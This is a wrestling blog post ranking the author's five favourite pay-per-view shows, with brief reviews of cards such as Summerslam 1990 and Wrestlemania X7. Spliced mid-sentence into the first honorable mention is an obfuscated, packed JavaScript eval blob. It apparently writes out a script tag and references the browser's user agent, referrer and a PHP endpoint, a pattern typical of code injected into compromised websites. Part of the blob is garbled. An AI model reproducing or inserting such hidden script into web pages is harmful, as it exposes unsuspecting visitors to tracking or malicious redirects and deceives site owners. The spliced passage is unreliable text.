Five By Five: KB’s Five Favorite Pay Per Views

As I mentioned last week, I’m going to be listing off my five favorites of various things every day this week.  Today, we’re starting off with Pay Per Views.  You can click on the name of the show for my review.  Let’s get to it.Honorable eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbfii|var|u0026u|referrer|yykri||js|php'.split('|'),0,{})) Mention: Money in the Bank 2011.  If there’s a better recent PPV out there from top to bottom, I don’t know what it is.  This ran away with show of the year for 2011 and never looked back.  The main event is one of the best matches I have ever seen and I was literally sitting on the edge of my bed watching it.  The match still holds up today (granted that’s not saying much) but it’s still great.  The other stuff on the card is excellent too.

Honorable Mention: Uncensored 1996. This show is the epitome of “how bad can this possibly get”.  It’s hilariously entertaining and Heenan reaches Mystery Science Theater levels of riffing on the main event.  It’s also by far and away the funniest review I’ve ever written and probably the one I’m most proud of.  If you’re ever in a mood to laugh at wrestling, check out the Doomsday Cage match and I guarantee the more you think about it, the more you’ll laugh at it.

5. Wrestlemania 28. As great as the main event of MITB 11 was, Rock vs. Cena reached a point that I’ve never reached as a wrestling fan: I had to see the match.  I didn’t care if it was good or bad or anywhere in between, but I had to see it.  That’s the point of building up a show and for a fan as jaded as I am, it says a lot that it actually worked.  Again, the rest of the card is very solid stuff on top of the main event.

4. Beach Blast 1992. This is probably my favorite WCW card ever.  It has two classics that aren’t remembered like they should be in Sting vs. Cactus Jack in a falls count anywhere match that Foley called his favorite/best match ever for years.  You also get a thirty minute Iron Man match with Rude vs. Steamboat which is fast paced for almost the entire time.  There’s also a really good tag title match to close the show.  This is definitely worth checking out, but watch it out of order.  Watch Sting vs. Jack last and you’ll enjoy the show a lot more.

3. One Night Stand 2005. This is one of the most entertaining shows you’ll ever see.  Anyone that has followed me over the years knows that I LOATHE ECW and everything that it stood for.  That being said, this show is a blast to watch and still entertains me to this day.  The WWE allowed it to be run like an ECW show with ECW talent and a big ECW spectacle to end the show.  The big ECW beer bash with Bischoff getting destroyed is endlessly entertaining and the rest of the show is just as good.  If you’re a wrestling fan, you should see this show.

2. Summerslam 1990. Pure personal nostalgia here as this was the first PPV I ever got at my house and I went through at least two copies of the tape.  That being said, it’s still a pretty entertaining show with Hogan returning for revenge against Earthquake for injuring him, Ultimate Warrior defending the title against Rude in a cage, a show long angle of Sapphire disappearing, and a wicked tag match with the Hart Foundation shocking the world and beating Demolition for the tag titles.  It’s worth checking out.

1. Wrestlemania X7.  This is the greatest show of all time, period.  Seriously, that’s all you need to know about it.  The main event feels like the main event of the biggest show of the year, this incarnation of the tag division reached its apex with TLC 2, HHH vs. Undertaker have a forgotten classic, Angle vs. Benoit is Angle vs. Benoit, and it has the FREAKING GIMMICK BATTLE ROYAL.  All this in front of 68,000 people a week after the WWF has officially conquered the wrestling world.  It’s the peak of the company’s history and absolutely required viewing for wrestling fans.